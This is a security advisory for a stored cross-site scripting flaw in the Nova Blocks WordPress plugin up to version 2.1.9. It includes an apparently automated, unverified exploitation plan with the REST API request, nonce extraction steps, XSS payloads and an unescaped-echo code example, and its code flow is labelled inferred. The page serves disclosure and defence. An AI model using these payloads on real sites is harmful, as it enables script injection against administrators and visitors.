CVE-2026-24528

Nova Blocks <= 2.1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.1.10
Patched in
16d
Time to patch

Description

The Nova Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.9
PublishedJanuary 26, 2026
Last updatedFebruary 10, 2026
Affected pluginnova-blocks

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-24528 - Nova Blocks Stored XSS ## 1. Vulnerability Summary The **Nova Blocks** plugin (versions <= 2.1.9) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue stems from insufficient input sanitization and output escaping of block attributes w…

Show full research plan

Exploitation Research Plan: CVE-2026-24528 - Nova Blocks Stored XSS

1. Vulnerability Summary

The Nova Blocks plugin (versions <= 2.1.9) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue stems from insufficient input sanitization and output escaping of block attributes within Gutenberg blocks. An authenticated user with Contributor permissions or higher can create a post, insert a specific Nova block, and inject a malicious payload into one of the block's attributes. When the post is viewed (either as a preview by an admin or after publication), the payload executes in the context of the victim's browser.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API for posts (/wp-json/wp/v2/posts).
  • Vulnerable Component: Nova Blocks block attributes (likely within blocks like nova/post-grid, nova/hero, or nova/sharing-icons).
  • Authentication Level: Contributor+ (Authenticated).
  • Payload Carrier: JSON-encoded block attributes within the post_content.
  • Preconditions: The Nova Blocks plugin must be active. The attacker must have a valid session as a Contributor.

3. Code Flow (Inferred)

  1. Block Registration: The plugin registers blocks using register_block_type() in PHP. Many Nova blocks are dynamic and use a render_callback.
  2. Attribute Processing: When a post is saved via the Gutenberg editor, the block attributes (e.g., title, tag, url) are saved as JSON metadata within HTML comments in the post_content.
  3. Vulnerable Sink: The render_callback function (often found in src/blocks/[block-name]/index.php or includes/class-block-renderer.php) retrieves these attributes from the $attributes array.
  4. Missing Escaping: The code reflects an attribute directly into the HTML output without using esc_html(), esc_attr(), or wp_kses().
    • Example Vulnerability: echo '<h2 class="nova-title">' . $attributes['title'] . '</h2>';

4. Nonce Acquisition Strategy

To save or update a post via the REST API as a Contributor, a wp_rest nonce is required in the X-WP-Nonce header.

  1. Login: Log in as the Contributor user.
  2. Navigate: Use browser_navigate to go to the WordPress Dashboard (/wp-admin/index.php).
  3. Extract Nonce: The wp_rest nonce is globally available in the wpApiSettings JavaScript object.
  4. Tool Call:
    browser_eval("window.wpApiSettings?.nonce")
  5. Alternative: Navigate to /wp-admin/post-new.php. The nonce can also be found in the same object or within the Gutenberg initialization scripts.

5. Exploitation Strategy

The goal is to create a new post containing a Nova Block with a XSS payload in a vulnerable attribute.

  1. Identify Vulnerable Block/Attribute: Based on the patch diff (if available) or common patterns, target the nova/post-grid block or nova/hero block. A likely candidate is an attribute that allows custom text or HTML tags.
  2. Prepare Payload:
    • Attribute Payload: <img src=x onerror=alert(document.domain)>
    • Block Markup:
      <!-- wp:nova/hero {"title":"<img src=x onerror=alert(document.domain)>"} /-->
      
  3. Create Post via REST API:
    • Method: POST
    • URL: http://[target]/wp-json/wp/v2/posts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [Extracted Nonce]
    • Body:
      {
        "title": "Exploit Post",
        "content": "<!-- wp:nova/hero {\"title\":\"<img src=x onerror=alert(document.domain)>\"} /-->",
        "status": "draft"
      }
      
  4. Trigger Execution:
    • The REST API response will provide a link to the post (or the id to construct the preview link).
    • As an Admin (or the Contributor viewing the preview), navigate to the provided link.
    • Verify if the alert triggers.

6. Test Data Setup

  1. User: Create a user with the Contributor role.
  2. Plugin: Ensure nova-blocks version 2.1.9 or lower is installed and activated.
  3. Discovery: Run wp post create --post_type=page --post_content='<!-- wp:nova/hero /-->' --post_status=publish to ensure the block is recognized and see its default attribute structure via wp post get [ID] --field=content.

7. Expected Results

  • The REST API should return a 201 Created response.
  • When navigating to the post preview URL, the browser should execute the JavaScript injected into the title (or other vulnerable) attribute.
  • The HTML source of the rendered page should show the unescaped payload within the block's container.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored correctly in the database.
    • wp post list --post_type=post --format=csv
    • wp post get [ID] --field=content
  2. Response Inspection: Use http_request to GET the post URL and check for the raw payload in the response body.
    • http_request("GET", "http://[target]/?p=[ID]&preview=true")
    • Look for <img src=x onerror=alert(document.domain)> in the HTML.

9. Alternative Approaches

  • Different Attributes: If title is sanitized, try subTitle, url, tagName, or customClassName.
  • Sharing Icons Block: Test the nova/sharing-icons block, specifically attributes related to labels or URLs.
  • Shortcode Injection: Some block plugins also register shortcodes. If the block exploitation fails, check for a corresponding shortcode: [nova_hero title="<script>alert(1)</script>"].
  • Gutenberg UI: Instead of the REST API, use browser_navigate to /wp-admin/post-new.php and use browser_type to manually insert the block and payload into the editor UI if nonce headers are blocked by security plugins.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Nova Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via block attributes in versions up to 2.1.9. Authenticated users with Contributor-level access can inject arbitrary JavaScript into attributes of blocks like Hero or Post Grid, which executes when the post is rendered for visitors or administrators.

Exploit Outline

To exploit this vulnerability, an attacker with Contributor permissions first logs into the WordPress dashboard and extracts the REST API nonce from the 'wpApiSettings' object. They then send a POST request to the '/wp-json/wp/v2/posts' endpoint to create a new draft. The payload is embedded within the 'content' field as Gutenberg block metadata (e.g., '<!-- wp:nova/hero {"title":"<img src=x onerror=alert(document.domain)>"} /-->'). When an administrator views the post in the editor or previews the content, the malicious script executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.